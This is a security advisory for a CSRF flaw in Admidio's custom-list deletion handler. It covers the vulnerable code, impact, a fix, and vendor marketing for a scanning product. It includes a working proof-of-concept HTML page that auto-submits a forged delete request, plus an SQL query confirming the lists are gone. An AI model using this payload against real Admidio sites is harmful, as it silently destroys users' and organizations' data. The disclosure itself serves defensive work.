GHSA-g3mx-8jm6-rc85
MEDIUMAdmidio has Missing CSRF Protections on Custom List Deletion in mylist_function.php
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Reported by: Juan Felipe Oz @JF0x0r
Summary
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
The delete case at lines 159–161 executes the destructive operation with no token check:
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
Proof of Concept
First my video PoC, after that, the proof of concept with detail.
- Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)
- Step 1: Attacker serves this page from any HTTP origin:
<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
- Step 2: Victim visits the attacker page while logged into Admidio.
- Step 3: Server responds immediately:
{"status":"success","url":".../modules/groups-roles/mylist.php"}
- Step 4: List is permanently deleted. Verified via:
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
No
adm_csrf_tokenfield is required anywhere in the request.
Recommendation Fix:
It's so simple.
- Apply the same
SecurityUtils::validateCsrfToken()pattern already used in the save modes:
} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}
Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | ≥ 5.0.0&&< 5.0.8 | 5.0.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update admidio/admidio to 5.0.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g3mx-8jm6-rc85 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g3mx-8jm6-rc85 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g3mx-8jm6-rc85. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g3mx-8jm6-rc85 in your dependencies?
O3 detects GHSA-g3mx-8jm6-rc85 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.